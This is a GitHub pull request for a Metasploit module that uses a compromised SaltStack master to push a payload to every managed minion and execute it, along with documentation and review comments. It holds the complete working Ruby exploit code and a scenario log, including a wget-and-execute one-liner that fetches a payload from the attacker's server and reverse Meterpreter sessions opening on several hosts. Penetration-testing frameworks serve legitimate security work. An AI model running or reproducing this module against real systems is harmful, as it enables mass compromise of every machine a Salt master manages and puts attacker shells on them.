-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Saltstack salt minion deployer #18626
Changes from 2 commits
0230243
5e30328
a5698f6
e722429
b654275
47a58bd
80e9f1b
e9296d1
2cfcb74
381b840
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,121 @@ | ||
## Vulnerable Application | ||
|
||
This exploit module uses saltstack salt to deploy a payload and run it | ||
on all targets which have been selected (default all). | ||
Currently only works against nix targets. | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Get an initial shell on the box | ||
1. Do: `use exploit/linux/local/saltstack_salt_minion_deployer` | ||
1. Do: `set session [#]` | ||
1. Do: `run` | ||
1. You should get sessions on all the targeted hosts | ||
|
||
## Options | ||
|
||
### SALT | ||
|
||
Location of salt-master executable if not in a standard location. This is added to a list of default locations | ||
which includes `/usr/bin/salt-master`. Defaults to `` | ||
|
||
### MINIONS | ||
|
||
Which minions to target. Defaults to `*` | ||
|
||
## WritableDir | ||
|
||
A directory on the compromised host we can write our payload to. Defaults to `/tmp` | ||
|
||
## TargetWritableDir | ||
|
||
A directory on the target hosts we can write our payload to. Defaults to `/tmp` | ||
|
||
## CALCULATE | ||
|
||
This will calculate how many hosts may be exploitable by using Ansible's ping command. | ||
|
||
### ListenerTimeout | ||
|
||
How many seconds to wait after executing the payload for hosts to call back. Defaults to `60` | ||
|
||
## Scenarios | ||
|
||
### Minion 3002.2 on Ubuntu 20.04 | ||
|
||
Get initial access to the system. In this case, root was required to execute salt commands successfully. | ||
|
||
``` | ||
resource (salt_deploy.rb)> use exploit/multi/script/web_delivery | ||
[*] Using configured payload python/meterpreter/reverse_tcp | ||
resource (salt_deploy.rb)> set lhost 1.1.1.1 | ||
lhost => 1.1.1.1 | ||
resource (salt_deploy.rb)> set srvport 8181 | ||
srvport => 8181 | ||
resource (salt_deploy.rb)> set target 7 | ||
target => 7 | ||
resource (salt_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp | ||
payload => linux/x64/meterpreter/reverse_tcp | ||
resource (salt_deploy.rb)> run | ||
[*] Exploit running as background job 0. | ||
[*] Exploit completed, but no session was created. | ||
[*] Started reverse TCP handler on 1.1.1.1:4444 | ||
[*] Using URL: http://1.1.1.1:8181/hvy2Ol | ||
[*] Server started. | ||
[*] Run the following command on the target machine: | ||
wget -qO exVJILEV --no-check-certificate http://1.1.1.1:8181/hvy2Ol; chmod +x exVJILEV; ./exVJILEV& disown | ||
[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes) | ||
[*] Sending stage (3045380 bytes) to 3.3.3.3 | ||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 3.3.3.3:45200) at 2023-12-16 09:59:02 -0500 | ||
``` | ||
|
||
``` | ||
resource (salt_deploy.rb)> use exploit/linux/local/saltstack_salt_minion_deployer | ||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp | ||
resource (salt_deploy.rb)> set session 1 | ||
session => 1 | ||
resource (salt_deploy.rb)> set verbose true | ||
verbose => true | ||
resource (salt_deploy.rb)> set lhost 1.1.1.1 | ||
lhost => 1.1.1.1 | ||
resource (salt_deploy.rb)> set lport 9996 | ||
lport => 9996 | ||
[msf](Jobs:1 Agents:0) exploit(linux/local/saltstack_salt_minion_deployer) > | ||
|
||
[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > run | ||
[*] Exploit running as background job 1. | ||
[*] Exploit completed, but no session was created. | ||
[msf](Jobs:2 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > | ||
[*] Started reverse TCP handler on 1.1.1.1:9996 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] /tmp is writable, and salt-master executable found | ||
[+] The target is vulnerable. | ||
[*] Attempting to list minions | ||
[*] minions: | ||
- mac_minion | ||
- salt-minion | ||
- window-salt-minion | ||
minions_denied: [] | ||
minions_pre: [] | ||
minions_rejected: [] | ||
[+] 3.3.3.3:45200 - minion file successfully retrieved and saved to /root/.msf4/loot/20231216100004_default_3.3.3.3_saltstack_minion_890818.yaml | ||
[+] Minions List | ||
============ | ||
|
||
Status Minion Name | ||
------ ----------- | ||
Accepted mac_minion | ||
Accepted salt-minion | ||
Accepted window-salt-minion | ||
|
||
[+] 3 minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal. | ||
[*] Writing '/tmp/E76Azw' (336 bytes) ... | ||
[*] Copying payload to minions | ||
|
||
[*] Executing payloads | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3045380 bytes) to 2.2.2.2 | ||
[*] Meterpreter session 2 opened (1.1.1.1:9996 -> 2.2.2.2:36850) at 2023-12-16 10:00:46 -0500 | ||
``` |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,155 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = GoodRanking | ||
|
||
include Msf::Post::File | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Saltstack Minion Payload Deployer', | ||
'Description' => %q{ | ||
This exploit module uses saltstack salt to deploy a payload and run it | ||
on all targets which have been selected (default all). | ||
Currently only works against nix targets. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # msf module | ||
'c2Vlcgo' | ||
], | ||
'Platform' => [ 'linux', 'unix' ], | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. One can install the SaltMaster on windows too. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yup, It could be a target and host, as well as OSX. I was trying not to overly complicate this PR by making it work on and against everything the software does. From what I've seen "in the wild" it's always been linux on linux, however I'm sure thats a limited scope. A follow-on PR can expand the scope out. In theory that was trivial until the |
||
'Stance' => Msf::Exploit::Stance::Passive, | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Aren't all arch supported? |
||
'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
'Targets' => [[ 'Auto', {} ]], | ||
'Privileged' => true, | ||
'References' => [], | ||
'DisclosureDate' => '2011-03-19', # saltstack salt original release date | ||
'DefaultTarget' => 0, | ||
'Passive' => true, # this allows us to get multiple shells calling home | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK] | ||
} | ||
) | ||
) | ||
register_options [ | ||
OptString.new('SALT', [true, 'salt-master executable location', '']), | ||
h00die marked this conversation as resolved.
Show resolved
Hide resolved
|
||
OptString.new('MINIONS', [true, 'Minions Target', '*']), | ||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), | ||
OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]), | ||
h00die marked this conversation as resolved.
Show resolved
Hide resolved
|
||
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]), | ||
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]), | ||
OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run', 120]) | ||
h00die marked this conversation as resolved.
Show resolved
Hide resolved
|
||
] | ||
end | ||
|
||
def salt_master | ||
return @salt if @salt | ||
|
||
['/usr/bin/salt-master', datastore['SALT']].each do |exec| | ||
next unless file?(exec) | ||
next unless executable?(exec) | ||
h00die marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
@salt = exec | ||
end | ||
@salt | ||
end | ||
|
||
# taken from saltstack_salt.rb module | ||
def list_minions | ||
# pull minions from a master | ||
print_status('Attempting to list minions') | ||
unless command_exists?('salt-key') | ||
print_error('salt-key not present on system') | ||
return | ||
end | ||
|
||
count = 0 | ||
h00die marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
begin | ||
out = cmd_exec('salt-key', '-L --output=yaml', datastore['TIMEOUT']) | ||
vprint_status(out) | ||
minions = YAML.safe_load(out) | ||
rescue Psych::SyntaxError | ||
print_error('Unable to load salt-key -L data') | ||
return | ||
end | ||
|
||
tbl = Rex::Text::Table.new( | ||
'Header' => 'Minions List', | ||
'Indent' => 1, | ||
'Columns' => ['Status', 'Minion Name'] | ||
) | ||
|
||
store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list') | ||
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}") | ||
minions['minions'].each do |minion| | ||
tbl << ['Accepted', minion] | ||
count += 1 | ||
end | ||
|
||
print_good(tbl.to_s) | ||
print_good("#{count} minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
This is a bit unclear: what for is this waiting here, and what might not be optimal? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I can re-word this a bit better. Basically I'm assuming that the user hasn't gotten an accurate count of the amount of hosts to be exploited ahead of time. I envisioned they just ran this module blindly thinking 'pwn it all!', so I wanted to give the user a heads up on how many shells to expect. If it was more than they expected (say expecting 10 servers, but its looking like 1000), I wanted to give them a chance to ctr+c out before all hell breaks loose
h00die marked this conversation as resolved.
Show resolved
Hide resolved
|
||
Rex.sleep(10) | ||
end | ||
|
||
def check | ||
return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil? | ||
|
||
if writable?(datastore['WritableDir']) | ||
vprint_good("#{datastore['WritableDir']} is writable, and salt-master executable found") | ||
return CheckCode::Vulnerable | ||
end | ||
CheckCode::Safe("#{datastore['WritableDir']} is not writable") | ||
h00die marked this conversation as resolved.
Show resolved
Hide resolved
|
||
end | ||
|
||
def exploit | ||
# Make sure we can write our exploit and payload to the local system | ||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir'] | ||
list_minions if datastore['CALCULATE'] | ||
|
||
payload_name = rand_text_alphanumeric(5..10) | ||
|
||
# due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899 | ||
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", Rex::Text.encode_base64(generate_payload_exe) | ||
|
||
print_status('Copying payload to minions') | ||
cmd_exec("salt-cp '#{datastore['MINIONS']}' '#{datastore['WritableDir']}/#{payload_name}' '#{datastore['TargetWritableDir']}/#{payload_name}.b64'") | ||
print_status('Executing payloads') | ||
cmd_exec("salt '#{datastore['MINIONS']}' cmd.run 'base64 -d #{datastore['TargetWritableDir']}/#{payload_name}.b64 > #{datastore['TargetWritableDir']}/#{payload_name} && chmod 755 #{datastore['TargetWritableDir']}/#{payload_name} && #{datastore['TargetWritableDir']}/#{payload_name}'") | ||
|
||
# stolen from exploit/multi/handler | ||
stime = Time.now.to_f | ||
timeout = datastore['ListenerTimeout'].to_i | ||
loop do | ||
break if timeout > 0 && (stime + timeout < Time.now.to_f) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Why are we breaking conditionally on a positive, nonzero timeout? Are we expecting a 0 or negative timeout? We're not decrementing it that I see? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This is 100% taken from |
||
|
||
Rex::ThreadSafe.sleep(1) | ||
end | ||
end | ||
|
||
def on_new_session(_session) | ||
cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi') | ||
h00die marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
begin | ||
print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}") | ||
cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}") | ||
print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed") | ||
rescue StandardError | ||
print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}") | ||
end | ||
end | ||
|
||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What's a
minions_pre
?There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
not sure, thats a salt specific term. I believe it means they're in a pending to be accepted state.